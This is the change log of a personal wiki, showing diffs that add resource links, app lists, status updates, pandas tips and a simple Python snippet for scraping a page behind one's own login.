Change log

Mar, 11 2019

Update README.md

updated programming/python/README.md
Show More Show Less

 -   [intake](https://intake.readthedocs.io/en/latest/index.html) - A plugin system for loading your data and making data catalogs - [🐙](https://github.com/ContinuumIO/intake "intake") [🐍](https://pypi.org/project/intake' "intake on PyPi")
 -   [locopy](https://capitalone.github.io/Data-Load-and-Copy-using-Python/) - Loading/Unloading to Amazon Redshift - [🐙](https://github.com/capitalone/Data-Load-and-Copy-using-Python "locopy on GitHub") [🐍](https://pypi.org/project/locopy' "locopy on PyPi")
 -   [vaex](https://docs.vaex.io/en/latest/) - out-of-core DataFrames for Python, visualize and explore big tabular data at a billion rows per second - [🐙](https://github.com/vaexio/vaex "vaex on GitHub") [🐍](https://pypi.org/project/vaex' "vaex on PyPi")
+-   [Luigi](https://luigi.readthedocs.io/en/stable/) - a Python module that helps you build complex pipelines of batch jobs - [🐙](https://github.com/spotify/luigi "Luigi on GitHub") [🐍](https://pypi.org/project/luigi/' "Luigi on PyPi")
 
 ## Links
 
Mar, 11 2019

Update css.md

updated programming/css.md
Show More Show Less
 Cascading Style Sheets (CSS) is a style sheet language used for descr
 
 -   [sass selectors: to nest or not to nest?](http://bradfrost.com/blog/post/sass-selectors-to-nest-or-not-to-nest/) by Brad Frost
 -   [The Complete Guide to Lazy Loading Images](https://css-tricks.com/the-complete-guide-to-lazy-loading-images/)
+-   [Concise Media Queries with CSS Grid](https://thoughtbot.com/blog/concise-media-queries-with-css-grid) by Stephen Lindberg, 26 October 2019
Mar, 07 2019

:art: Clean up the format of markdown.

updated linux/README.md
Show More Show Less

 # Linux
 
-Linux is a family of free and open-source software operating systems built around the Linux kernel. 
+Linux is a family of free and open-source software operating systems built around the Linux kernel.
 
 ## Links
 
-*   [systemd user services are amazing](https://www.brendanlong.com/systemd-user-services-are-amazing.html) by Brendan Long, 15 June 2016
+-   [systemd user services are amazing](https://www.brendanlong.com/systemd-user-services-are-amazing.html) by Brendan Long, 15 June 2016
updated programming/python/jupyter.md
Show More Show Less

 
 ## Links
 
-*   [Building a Repeatable Data Analysis Process with Jupyter Notebooks](http://pbpython.com/notebook-process.html) by Chris Moffitt, 20 November 2018.
+-   [Building a Repeatable Data Analysis Process with Jupyter Notebooks](http://pbpython.com/notebook-process.html) by Chris Moffitt, 20 November 2018.
Mar, 07 2019

:sparkles: Add produtivity to the summary sidebar.

updated SUMMARY.md
Show More Show Less

 -   [Pentesting](pentesting/README.md)
     -   [Metasploit](pentesting/metasploit.md)
     -   [nmap Cheat Sheet](pentesting/nmap.md)
+-   [Productivity](Productivity/README.md)
 -   [Programming](programming/README.md)
     -   [CSS](programming/css.md)
     -   [Data Science](programming/data-science.md)
Mar, 07 2019

:rotating_light: Fix some linter issues.

updated programming/javascript.md
Show More Show Less

 
 ### Client Side
 
-- [Rallax.js][2] - vanilla JS plugin that implements a dynamic parallax scrolling effect, without dependencies. 
+-   [Rallax.js][2] - vanilla JS plugin that implements a dynamic parallax scrolling effect, without dependencies.
 
 
 [1]:	https://www.cypress.io/
-[2]:	https://chriscavs.github.io/rallax-demo/
\ No newline at end of file
+[2]:	https://chriscavs.github.io/rallax-demo/
updated selfhosted/README.md
Show More Show Less

 
 ## Software
 
-* [TellForm](https://tellform.com/) - a free, opensource form builder similar to Google Forms or TypeForm - [🐙](https://github.com/tellform/tellform)
-* [Piwigo](https://piwigo.org/) - open source photo gallery software for the web - [🐙](https://github.com/Piwigo)
+-   [TellForm](https://tellform.com/) - a free, opensource form builder similar to Google Forms or TypeForm - [🐙](https://github.com/tellform/tellform)
+-   [Piwigo](https://piwigo.org/) - open source photo gallery software for the web - [🐙](https://github.com/Piwigo)
 
 ## Links
 
-* [Awesome-Selfhosted](https://github.com/Kickball/awesome-selfhosted)
+-   [Awesome-Selfhosted](https://github.com/Kickball/awesome-selfhosted)
updated setup/README.md
Show More Show Less
 A list of the applications, tools, and services that I'm currently using.
 [2]:	android.md
 [3]:	ios.md
 [4]:	macos.md
-[5]:	windows.md
\ No newline at end of file
+[5]:	windows.md
updated setup/macos.md
Show More Show Less
 search: false
 
 ## Development
 
-- [Tower][1] - a GUI Git client for one I get annoyed with the command line. 
+-   [Tower][1] - a GUI Git client for one I get annoyed with the command line.
 
 ## Productivity
 
-- [Bear][2] - for quick note tacking and task lists.
-- [DEVONThink Pro Office][3] - for reading, storing, and indexing PDFs and other documents in macOS.
+-   [Bear][2] - for quick note tacking and task lists.
+-   [DEVONThink Pro Office][3] - for reading, storing, and indexing PDFs and other documents in macOS.
 
 ## Social
 
-- [TweetBot][4] - my favourite Twitter client for iOS and macOS.
+-   [TweetBot][4] - my favourite Twitter client for iOS and macOS.
 
 [1]:	https://www.git-tower.com
 [2]:	https://bear.app/
 [3]:	https://www.devontechnologies.com/products/devonthink/devonthink-pro-office.html
-[4]:	https://tapbots.com/tweetbot/
\ No newline at end of file
+[4]:	https://tapbots.com/tweetbot/
updated status.md
Show More Show Less

 # Status
 
-- 🎧 Currently listening to **Gallipoli** by Beirut
-- 📖 Currently reading **Normal** by Warren Ellis
-
-[//]: # (- 📺 Currently watching ****)
-[//]: # (- 🕹 Currently playing ****)
+-   🎧 Currently listening to **Gallipoli** by Beirut
+-   📖 Currently reading **Normal** by Warren Ellis
 
 Last updated on _11 Feburary 2019 at 8:54pm_.
Mar, 07 2019

:sparkles: Add a new page for scrape web pages in Python.

updated SUMMARY.md
Show More Show Less

         -   [Jupyter](programming/python/jupyter.md)
         -   [Pandas](programming/python/pandas.md)
         -   [Useful Regular Expression](programming/python/regexes.md)
+        -   [Web Scraping](programming/python/web-scraping.md)
     -   [Static Website Generators](programming/static-websites.md)
 -   [Selfhosted](selfhosted/README.md)
 -   [Startup](startup/README.md)
added programming/python/web-scraping.md
Show More Show Less

+# Web Scraping in Python
+
+These are my notes on Web Scraping in Python
+
+## Libraries
+
+-   [Requests-HTML](https://html.python-requests.org/ "HTML Parsing for Humans") - Combines [Requests](https://python-requests.org/) and [PyQuery](https://pythonhosted.org/pyquery/) to make parsing HTML (e.g. scraping the web) as simple and intuitive as possible - [🐙](https://github.com/kennethreitz/requests-html "Requests-HTML on GitHub") [🐍](https://pypi.org/project/requests-html/ "Requests-HTML on PyPi")
+
+## Snippets
+
+### Scrape a web page behind a login
+
+```python
+from requests_html import HTMLSession
+
+session = HTMLSession()
+
+login_page = session.post(
+  "https://example.com/login.php",
+  data={
+    "username": "myles",
+    "password": "areallygoodpassword"
+  }
+)
+
+if not login_page.ok:
+  raise Exception
+
+secret_page = session.get(
+  "https://example.com/admin/index.php",
+  cookies=login_page.cookies
+)
+
+if not secret_page.pk:
+  raise Exception
+```
Mar, 07 2019

:memo: Add some tips to the pandas page.

updated programming/python/pandas.md
Show More Show Less

 
 ## Links
 
-*   [A Gentle Visual Intro to Data Analysis in Python Using Pandas][3] by Jay Alammar, 29 October 2018.
-* [Improve panda’s Excel Output][4] by Chris Moffitt, 8 April 2015. 
-* [ Building a Repeatable Data Analysis Process with Jupyter Notebooks ][5] by Chris Moffitt, 20 November 2018. 
+-   [A Gentle Visual Intro to Data Analysis in Python Using Pandas][3] by Jay Alammar, 29 October 2018.
+-   [Improve panda’s Excel Output][4] by Chris Moffitt, 8 April 2015.
+-   [Building a Repeatable Data Analysis Process with Jupyter Notebooks ][5] by Chris Moffitt, 20 November 2018.
 
 ## Notes
 
 from slugify import slugify
 df.columns = [slugify(c, separator="_", to_lower=True) for c in df.columns]
 ```
 
+### Read CSV file with all cells as strings
+
+```python
+>>> df = pd.read_csv("data/source/example.csv", dtype=str)
+>>> df.dtypes
+ID                         object
+NAME                       object
+SALARY                     object
+```
+
+### Traspose `DataFrame` and view all rows
+
+```python
+>>> with pd.option_context("display.max_rows", None):
+...    print(df.head(1).transpose())
+ID                         1
+NAME       Myles Braithwaite
+SALARY               $10,000
+```
+
 ### Pandas/SQL Rosetta Stone
 
 #### `IN` / `pandas.DataFrame.isin`
 See the pandas documentation for more information on [`pandas.DataFrame.isin`][8
 [5]:	http://pbpython.com/notebook-process.html
 [6]:	https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html
 [7]:	https://pypi.python.org/pypi/awesome-slugify
-[8]:	https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.isin.html
\ No newline at end of file
+[8]:	https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.isin.html
Feb, 25 2019

:lipstick: Made the change log look nicer.

updated meta/changelog.md
Show More Show Less

+---
+search: false
+---
+
+# Change log
+
 {% changelog %}
     {% date %}
     {% message %}
Feb, 25 2019

:sparkles: Add a change log to the wiki.

updated SUMMARY.md
Show More Show Less

     -   [Video Games](lists/video-games.md)
 -   [UNIX](unix/README.md)
 -   [Meta](meta/README.md)
+    -   [Change log](meta/changelog.md)
     -   [License](LICENSE.md)
added meta/changelog.md
Show More Show Less

+{% changelog %}
+    {% date %}
+    {% message %}
+    {% files %}
+        {% badge %}
+        {% filename link=true %}
+        {% changes truncate=true %}
+    {% endfiles %}
+{% endchangelog %}
Feb, 12 2019

:sparkles: Add a new iOS app I use.

updated setup/ios.md
Show More Show Less
 Applications that I am currently using on [iOS][1].
 
 ## Code
 
-- [Working Copy][2] - a Git client for iOS I use to edit and deploy different Git repositories.
-- [GitHawk][3] - a GitHub client for looking up repos and issues.
+-   [Working Copy][2] - a Git client for iOS I use to edit and deploy different Git repositories.
+-   [GitHawk][3] - a GitHub client for looking up repos and issues.
+-   [Coda for iOS][7] - a text editor for iOS I use to edit my websites on my iPad and iPhone.
 
 ## Productivity
 
-- [Bear][4] - for quick note tacking and task lists.
-- [DEVONThink To Go][5] - for reading, storing, and indexing PDFs and other documents in iOS.
+-   [Bear][4] - for quick note tacking and task lists.
+-   [DEVONThink To Go][5] - for reading, storing, and indexing PDFs and other documents in iOS.
 
 ## Social
 
-- [TweetBot][6] - my favorite Twitter client for iOS and macOS.
-- Instagram - favourite social network.
+-   [TweetBot][6] - my favorite Twitter client for iOS and macOS.
+-   Instagram - favourite social network.
 
 [1]:	../ios/README.md
 [2]:	https://workingcopyapp.com/
 [3]:	http://githawk.com/
 [4]:	https://bear.app/
 [5]:	https://www.devontechnologies.com/products/devonthink/devonthink-to-go.html
-[6]:	https://tapbots.com/tweetbot/
\ No newline at end of file
+[6]:	https://tapbots.com/tweetbot/
+[7]:  https://panic.com/coda-ios/
Feb, 12 2019

:art: reorder the summary.

updated SUMMARY.md
Show More Show Less

 -   [Introduction](README.md)
 -   [Status](status.md)
 -   [Setup](setup/README.md)
-    -   [Android](setup/android.md)
     -   [Bag](setup/bag.md)
+    -   [Android](setup/android.md)
     -   [iOS](setup/ios.md)
     -   [macOS](setup/macos.md)
     -   [Windows](setup/windows.md)
Feb, 12 2019

✨ update my status.

updated status.md
Show More Show Less

 # Status
 
-- 🎧 Currently listening to **PAVVLA - Secretly Hoping You Catch Me Looking**
-- 📖 Currently reading **A Programmers Introduction to Mathematics**
-- 📺 Currently watching **Battlestar Galatica**
+- 🎧 Currently listening to **Gallipoli** by Beirut
+- 📖 Currently reading **Normal** by Warren Ellis
+
+[//]: # (- 📺 Currently watching ****)
+[//]: # (- 🕹 Currently playing ****)
+
+Last updated on _11 Feburary 2019 at 8:54pm_.
Feb, 12 2019

:lipstick: made some stuff cleaner.

updated README.md
Show More Show Less

 search: false
 ---
 
-![](https://media.giphy.com/media/xT0BKpqAaJczduXXJ6/giphy.gif "Hello")
-
 # Myles' Wiki 📚
 
-👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
+![](https://media.giphy.com/media/xT0BKpqAaJczduXXJ6/giphy.gif)
 
-![](https://media.giphy.com/media/3ofT5PqwDxWUXM9lXa/giphy.gif)
+👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
 
 * * *
 
 [![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/license.html "Creative Commons Attribution 4.0 International License")
 This work is licensed under a [Creative Commons Attribution 4.0 International License](http://creativecommons.org/licenses/by/4.0/).
+
+* * *
+
+![](https://media.giphy.com/media/3ofT5PqwDxWUXM9lXa/giphy.gif)
Feb, 09 2019

Merge branch 'master' of git@github.com:myles/wiki.git

updated README.md
Show More Show Less

 search: false
 ---
 
+![](https://media.giphy.com/media/xT0BKpqAaJczduXXJ6/giphy.gif "Hello")
+
 # Myles' Wiki 📚
 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
 
+![](https://media.giphy.com/media/3ofT5PqwDxWUXM9lXa/giphy.gif)
+
 * * *
 
 [![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/license.html "Creative Commons Attribution 4.0 International License")
Feb, 09 2019

:sparkle: added piwigo

updated README.md
Show More Show Less

 search: false
 ---
 
-![](https://media.giphy.com/media/xT0BKpqAaJczduXXJ6/giphy.gif "Hello")
-
 # Myles' Wiki 📚
 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
 
-![](https://media.giphy.com/media/3ofT5PqwDxWUXM9lXa/giphy.gif)
-
 * * *
 
 [![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/license.html "Creative Commons Attribution 4.0 International License")
updated selfhosted/README.md
Show More Show Less

 ## Software
 
 * [TellForm](https://tellform.com/) - a free, opensource form builder similar to Google Forms or TypeForm - [🐙](https://github.com/tellform/tellform)
+* [Piwigo](https://piwigo.org/) - open source photo gallery software for the web - [🐙](https://github.com/Piwigo)
 
 ## Links
 
Feb, 08 2019

:lipstick: add gifs to the front page.

updated README.md
Show More Show Less

 search: false
 ---
 
+![](https://media.giphy.com/media/xT0BKpqAaJczduXXJ6/giphy.gif "Hello")
+
 # Myles' Wiki 📚
 
 👋, welcome to my personal wiki where I try and share everything I research and know about a variety of topics.
 
+![](https://media.giphy.com/media/3ofT5PqwDxWUXM9lXa/giphy.gif)
+
 * * *
 
 [![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/license.html "Creative Commons Attribution 4.0 International License")
Jan, 24 2019

Merge branch 'master' of git@github.com:myles/wiki.git

updated unix/README.md
Show More Show Less

 ## Links
 
 -   [Practical Use of GRUB's DSL](https://www.gilesorr.com/grubdsl/) by Giles Orr, 15 October 2018 - with the examples inexplicably left out of the GRUB documentation.
+-   [For the Love of Pipes](https://blog.jessfraz.com/post/for-the-love-of-pipes/) by Jessie Frazelle, 21 January 2019.
Jan, 24 2019
updated programming/python/README.md
Show More Show Less

 -   [Dive into Machine Learning](https://akashgupta299.gitbooks.io/dive-into-ml/content/)
 -   [My Python Development Environment](https://jacobian.org/2018/feb/21/python-environment-2018/) by Jacob Kaplan-Moss, 21 February 2018.
 -   [Working efficiently with JupyterLab Notebooks](https://florianwilhelm.info/2018/11/working_efficiently_with_jupyter_lab/) by Florian Wilhelm, 8 November 2018.
--   [wtfpython](https://github.com/satwikkansal/wtfpython) - A collection of
-    surprising Python snippets and lesser-known features.
+-   [wtfpython](https://github.com/satwikkansal/wtfpython) - A collection of surprising Python snippets and lesser-known features.
+-   [Einstein Summation in Numpy](https://obilaniu6266h16.wordpress.com/2016/02/04/einstein-summation-in-numpy/) by Olexa Bilaniuk, 4 February 2016
updated unix/README.md
Show More Show Less

 ## Links
 
 -   [Practical Use of GRUB's DSL](https://www.gilesorr.com/grubdsl/) by Giles Orr, 15 October 2018 - with the examples inexplicably left out of the GRUB documentation.
--   [For the Love of Pipes](https://blog.jessfraz.com/post/for-the-love-of-pipes/) by Jessie Frazelle, 21 January 2019.
Jan, 21 2019

Update README.md

updated unix/README.md
Show More Show Less

 ## Links
 
 -   [Practical Use of GRUB's DSL](https://www.gilesorr.com/grubdsl/) by Giles Orr, 15 October 2018 - with the examples inexplicably left out of the GRUB documentation.
+-   [For the Love of Pipes](https://blog.jessfraz.com/post/for-the-love-of-pipes/) by Jessie Frazelle, 21 January 2019.
Jan, 17 2019

add new page to summary

updated SUMMARY.md
Show More Show Less

         -   [WordPress](programming/php/wordpress.md)
     -   [Python](programming/python/README.md)
         -   [Celery](programming/python/celery.md)
+        -   [Django](programming/python/django.md)
+        -   [Jupyter](programming/python/jupyter.md)
         -   [Pandas](programming/python/pandas.md)
         -   [Useful Regular Expression](programming/python/regexes.md)
     -   [Static Website Generators](programming/static-websites.md)
Jan, 17 2019

new page

added programming/python/jupyter.md
Show More Show Less

+# Jupyter
+
+Jupyter Notebook (formerly IPython Notebooks) is a web-based interactive computational environment for creating Jupyter notebooks documents.
+
+## Links
+
+*   [Building a Repeatable Data Analysis Process with Jupyter Notebooks](http://pbpython.com/notebook-process.html) by Chris Moffitt, 20 November 2018.
Jan, 14 2019
updated README.md
Show More Show Less
 search: false
 
 * * *
 
-[![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/meta/license.html "Creative Commons Attribution 4.0 International License")
+[![](https://i.creativecommons.org/l/by/4.0/88x31.png "Creative Commons Licence")](https://wiki.mylesb.ca/license.html "Creative Commons Attribution 4.0 International License")
 This work is licensed under a [Creative Commons Attribution 4.0 International License](http://creativecommons.org/licenses/by/4.0/).
updated programming/php/README.md
Show More Show Less

 # PHP
 
 PHP is a server-side scripting language designed for Web development, and also used as a general-purpose programming language.
+
+## Links
+
+-   [Awesome PHP Security Resources](https://github.com/guardrailsio/awesome-php-security)
Jan, 14 2019

Update status.md

updated status.md
Show More Show Less

 # Status
 
-- Currently listening to ** PAVVLA - Secretly Hoping You Catch Me Looking**
-- Currently reading **A Programmers Introduction to Mathematics**
-- Currently watching **Battlestar Galatica**
\ No newline at end of file
+- 🎧 Currently listening to **PAVVLA - Secretly Hoping You Catch Me Looking**
+- 📖 Currently reading **A Programmers Introduction to Mathematics**
+- 📺 Currently watching **Battlestar Galatica**
Jan, 14 2019

Update SUMMARY.md

updated SUMMARY.md
Show More Show Less

         -   [Pandas](programming/python/pandas.md)
         -   [Useful Regular Expression](programming/python/regexes.md)
     -   [Static Website Generators](programming/static-websites.md)
+-   [Selfhosted](selfhosted/README.md)
 -   [Startup](startup/README.md)
 -   [Text Editors](text-editors/README.md)
     -   [Visual Studio Code](text-editors/vscode.md)
Jan, 14 2019

Create README.md

added selfhosted/README.md
Show More Show Less

+# Selfhosted
+
+Selfhosting is the process of locally hosting and managing applications instead of renting from SaaS providers.
+
+## Software
+
+* [TellForm](https://tellform.com/) - a free, opensource form builder similar to Google Forms or TypeForm - [🐙](https://github.com/tellform/tellform)
+
+## Links
+
+* [Awesome-Selfhosted](https://github.com/Kickball/awesome-selfhosted)
Jan, 12 2019

did stuff

updated programming/python/pandas.md
Show More Show Less

 # pandas
 
-pandas is a [Python](README.md) library for data manipulation and analysis.
+pandas is a [Python][1] library for data manipulation and analysis.
 
 ## Libaries
 
--   [Pandas Bokeh](https://github.com/PatrikHlobil/Pandas-Bokeh) a Bokeh plotting backend for Pandas and GeoPandas.
+-   [Pandas Bokeh][2] a Bokeh plotting backend for Pandas and GeoPandas.
 
 ## Links
 
-*   [A Gentle Visual Intro to Data Analysis in Python Using Pandas](https://jalammar.github.io/gentle-visual-intro-to-data-analysis-python-pandas/) by Jay Alammar, 29 October 2018.
+*   [A Gentle Visual Intro to Data Analysis in Python Using Pandas][3] by Jay Alammar, 29 October 2018.
+* [Improve panda’s Excel Output][4] by Chris Moffitt, 8 April 2015. 
+* [ Building a Repeatable Data Analysis Process with Jupyter Notebooks ][5] by Chris Moffitt, 20 November 2018. 
 
 ## Notes
 
--   [`pandas.io.json.json_normalize`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html) is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
+-   [`pandas.io.json.json_normalize`][6] is a function to _normalize_ structured JSON into a flat `dataframe`. Useful for working with data that comes from an JSON API.
 
 ## Snippets
 
 df.head()
 
 ### Python compatible column names with slugify
 
-Usually I'm dealing with data from external sources that don't have pretty columns names. I like to use [slugify](https://pypi.python.org/pypi/awesome-slugify) to convert them to Python compatible keys.
+Usually I'm dealing with data from external sources that don't have pretty columns names. I like to use [slugify][7] to convert them to Python compatible keys.
 
 ```python
 from slugify import slugify
 df[df['city'].isin(['Toronto', 'Richmond Hill'])]
 df[~df['city'].isin(['Markdale', 'Oakville'])]
 ```
 
-See the pandas documentation for more information on [`pandas.DataFrame.isin`](https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.isin.html).
+See the pandas documentation for more information on [`pandas.DataFrame.isin`][8].
+
+[1]:	README.md
+[2]:	https://github.com/PatrikHlobil/Pandas-Bokeh
+[3]:	https://jalammar.github.io/gentle-visual-intro-to-data-analysis-python-pandas/
+[4]:	http://pbpython.com/improve-pandas-excel-output.html
+[5]:	http://pbpython.com/notebook-process.html
+[6]:	https://pandas.pydata.org/pandas-docs/stable/generated/pandas.io.json.json_normalize.html
+[7]:	https://pypi.python.org/pypi/awesome-slugify
+[8]:	https://pandas.pydata.org/pandas-docs/stable/generated/pandas.DataFrame.isin.html
\ No newline at end of file
Jan, 09 2019

Create django.md

added programming/python/django.md
Show More Show Less

+# django
+
+django is a [Python](README.md)-based free and open-source web framework, which follows the model-view-template (MVT) architectural pattern.
+
+## Links
+
+-   [The Ultimate Guide to Django Redirects](https://realpython.com/django-redirects/) by Daniel Hepper, 15 August 2018.
Jan, 07 2019

add what's in my bag to summart

updated SUMMARY.md
Show More Show Less

 -   [Status](status.md)
 -   [Setup](setup/README.md)
     -   [Android](setup/android.md)
+    -   [Bag](setup/bag.md)
     -   [iOS](setup/ios.md)
     -   [macOS](setup/macos.md)
     -   [Windows](setup/windows.md)
Jan, 06 2019

add a page for what I carry in my bag

updated setup/README.md
Show More Show Less

 
 A list of the applications, tools, and services that I'm currently using.
 
--   [Android][1]
--   [iOS][2]
--   [macOS][3]
--   [Windows][4]
-
-
-[1]:	android.md
-[2]:	ios.md
-[3]:	macos.md
-[4]:	windows.md
\ No newline at end of file
+-   [What’s in my bag][1]
+-   [Android][2]
+-   [iOS][3]
+-   [macOS][4]
+-   [Windows][5]
+
+[1]:	bag.md "What stuff do I carry in my bag"
+[2]:	android.md
+[3]:	ios.md
+[4]:	macos.md
+[5]:	windows.md
\ No newline at end of file
added setup/bag.md
Show More Show Less

+# What's in My Bag
+
+I carry a black [Osprey Nebula](https://www.osprey.com/ca/en/product/nebula-NEBULANEW_796.html).
Jan, 06 2019

add status to summary

updated SUMMARY.md
Show More Show Less

 # Table of contents
 
 -   [Introduction](README.md)
+-   [Status](status.md)
 -   [Setup](setup/README.md)
     -   [Android](setup/android.md)
     -   [iOS](setup/ios.md)
Jan, 06 2019

add some stuff

updated programming/javascript.md
Show More Show Less

 
 ## Libraries
 
--   [cypress](https://www.cypress.io/) - testing framework that runs in the browser.
+-   [cypress][1] - testing framework that runs in the browser.
+
+### Client Side
+
+- [Rallax.js][2] - vanilla JS plugin that implements a dynamic parallax scrolling effect, without dependencies. 
+
+
+[1]:	https://www.cypress.io/
+[2]:	https://chriscavs.github.io/rallax-demo/
\ No newline at end of file
added status.md
Show More Show Less

+# Status
+
+- Currently listening to ** PAVVLA - Secretly Hoping You Catch Me Looking**
+- Currently reading **A Programmers Introduction to Mathematics**
+- Currently watching **Battlestar Galatica**
\ No newline at end of file
Jan, 06 2019

:lipstick: clean the setup files

updated setup/README.md
Show More Show Less

 
 A list of the applications, tools, and services that I'm currently using.
 
--   [Android](android.md)
--   [iOS](ios.md)
--   [macOS](macos.md)
--   [Windows](windows.md)
+-   [Android][1]
+-   [iOS][2]
+-   [macOS][3]
+-   [Windows][4]
+
+
+[1]:	android.md
+[2]:	ios.md
+[3]:	macos.md
+[4]:	windows.md
\ No newline at end of file
updated setup/ios.md
Show More Show Less
 search: false
 
 # iOS Applications
 
-Applications that I am currently using on [iOS](../ios/README.md).
+Applications that I am currently using on [iOS][1].
 
-## [Working Copy](https://workingcopyapp.com/)
+## Code
 
-A GUI Git client for iOS I use to edit and deploy different Git repositories.
+- [Working Copy][2] - a Git client for iOS I use to edit and deploy different Git repositories.
+- [GitHawk][3] - a GitHub client for looking up repos and issues.
 
-## [DEVONThink To Go](https://www.devontechnologies.com/products/devonthink/devonthink-to-go.html)
+## Productivity
 
-For tracking PDFs and other documents in macOS and iOS.
+- [Bear][4] - for quick note tacking and task lists.
+- [DEVONThink To Go][5] - for reading, storing, and indexing PDFs and other documents in iOS.
 
-## [TweetBot](https://tapbots.com/tweetbot/)
+## Social
 
-My favorite Twitter client for iOS and macOS.
+- [TweetBot][6] - my favorite Twitter client for iOS and macOS.
+- Instagram - favourite social network.
 
-## [Bear](https://bear.app/)
-
-Note and ToDo list application for macOS and iOS.
+[1]:	../ios/README.md
+[2]:	https://workingcopyapp.com/
+[3]:	http://githawk.com/
+[4]:	https://bear.app/
+[5]:	https://www.devontechnologies.com/products/devonthink/devonthink-to-go.html
+[6]:	https://tapbots.com/tweetbot/
\ No newline at end of file
updated setup/macos.md
Show More Show Less
 search: false
 
 # macOS Setup
 
-## [Tower](https://www.git-tower.com)
+## Development
 
-A GUI Git client for macOS and Windows.
+- [Tower][1] - a GUI Git client for one I get annoyed with the command line. 
 
-## [DEVONThink Pro Office](https://www.devontechnologies.com/products/devonthink/devonthink-pro-office.html)
+## Productivity
 
-For tracking PDFs and other documents in macOS and iOS.
+- [Bear][2] - for quick note tacking and task lists.
+- [DEVONThink Pro Office][3] - for reading, storing, and indexing PDFs and other documents in macOS.
 
-## [TweetBot](https://tapbots.com/tweetbot/)
+## Social
 
-My favorite Twitter client for iOS and macOS.
+- [TweetBot][4] - my favourite Twitter client for iOS and macOS.
 
-## [Bear](https://bear.app/)
-
-Note and ToDo list application for macOS and iOS.
+[1]:	https://www.git-tower.com
+[2]:	https://bear.app/
+[3]:	https://www.devontechnologies.com/products/devonthink/devonthink-pro-office.html
+[4]:	https://tapbots.com/tweetbot/
\ No newline at end of file
Jan, 06 2019

add a python profiler

updated programming/python/README.md
Show More Show Less

 -   [cleanco](https://github.com/psolin/cleanco) - Cleans companies names by stripping away terms indicating organization type - [🐍](https://pypi.org/project/cleanco/ "cleanco on PyPi")
 -   [yaps](https://ibm.github.io/yaps/) - a surface language for programming Stan models using python syntax - [🐙](https://github.com/ibm/yaps "yaps on GitHub")
 [🐍](https://pypi.org/project/yaps/ "yaps on PyPi")
+-   [py-spy](https://github.com/benfred/py-spy) - sampling profiler for Python programs
 
 ### Data Science
 
Jan, 01 2019

Add a film I want to see

updated lists/films.md
Show More Show Less
 search: false
 -   [ ] Hearts Beat Loud (2018), [iTunes](https://itunes.apple.com/ca/movie/hearts-beat-loud/id1426325081)
 -   [ ] Leave No Trace (2018)
 -   [ ] Don't Worry, He Won't Get Far on Foot (2018), [iTunes](https://tv.apple.com/ca/movie/dont-worry-he-wont-get-far-on-foot/umc.cmc.2q1lhbvg9mi946hy8akkvmiur)
+-   [ ] The Old Man & the Gun
Dec, 19 2018

Update regexes.md

updated programming/python/regexes.md
Show More Show Less

-# Useful Regular expression
+# Useful Regular Expression
 
-This is a list of useful regular expression.
+This is a list of useful regular expression I find on the interent.
 
 ## Match an email address
 
Dec, 19 2018

Update SUMMARY.md

updated SUMMARY.md
Show More Show Less

     -   [Python](programming/python/README.md)
         -   [Celery](programming/python/celery.md)
         -   [Pandas](programming/python/pandas.md)
+        -   [Useful Regular Expression](programming/python/regexes.md)
     -   [Static Website Generators](programming/static-websites.md)
 -   [Startup](startup/README.md)
 -   [Text Editors](text-editors/README.md)
Dec, 19 2018

Create regexes.md

added programming/python/regexes.md
Show More Show Less

+# Useful Regular expression
+
+This is a list of useful regular expression.
+
+## Match an email address
+
+```python
+r"(^[a-zA-Z0-9_.+-]+@[a-zA-Z0-9-]+\.[a-zA-Z0-9-.]+$)"
+```
+
+[PyRegex](http://www.pyregex.com/?id=eyJyZWdleCI6IiheW2EtekEtWjAtOV8uKy1dK0BbYS16QS1aMC05LV0rXFwuW2EtekEtWjAtOS0uXSskKSIsImZsYWdzIjo4LCJtYXRjaF90eXBlIjoibWF0Y2giLCJ0ZXN0X3N0cmluZyI6Im15bGVzLmJyYWl0aHdhaXRlQGV4YW1wbGUuY29tIn0%3D)
Dec, 17 2018

:green_heart: Moving to a more recent version of Node.

updated .travis.yml
Show More Show Less

 language: node_js
-node_js: "4"
+node_js: "node"
 script: npm run-script build
 after_success: npm run-script lint
Dec, 17 2018

:lipstick: Cleand up some pages.

updated SUMMARY.md
Show More Show Less

 
 -   [Introduction](README.md)
 -   [Setup](setup/README.md)
+    -   [Android](setup/android.md)
+    -   [iOS](setup/ios.md)
+    -   [macOS](setup/macos.md)
+    -   [Windows](setup/windows.md)
 -   [Android](android/README.md)
     -   [Fire OS](android/fire-os.md)
 -   [Computer Science](comp-sci/README.md)
updated setup/README.md
Show More Show Less

 # Setup
 
-A list of the applications, tools, and services that I''m currently using.
+A list of the applications, tools, and services that I'm currently using.
 
-## Applications
-
-### [Bear](https://bear.app/)
-
-Note and ToDo list application for macOS and iOS.
-
-### [DEVONThink Pro Office](https://www.devontechnologies.com/products/devonthink/devonthink-pro-office.html) & [DEVONThink To Go](https://www.devontechnologies.com/products/devonthink/devonthink-to-go.html)
-
-For tracking PDFs and other documents in macOS and iOS.
-
-### [Tower](https://www.git-tower.com)
-
-A GUI Git client for macOS and Windows.
-
-### [TweetBot](https://tapbots.com/tweetbot/)
-
-My favorite Twitter client for iOS and macOS.
+-   [Android](android.md)
+-   [iOS](ios.md)
+-   [macOS](macos.md)
+-   [Windows](windows.md)
updated setup/android.md
Show More Show Less

+---
+search: false
+---
+
+# Android
updated setup/ios.md
Show More Show Less

+---
+search: false
+---
+
 # iOS Applications
 
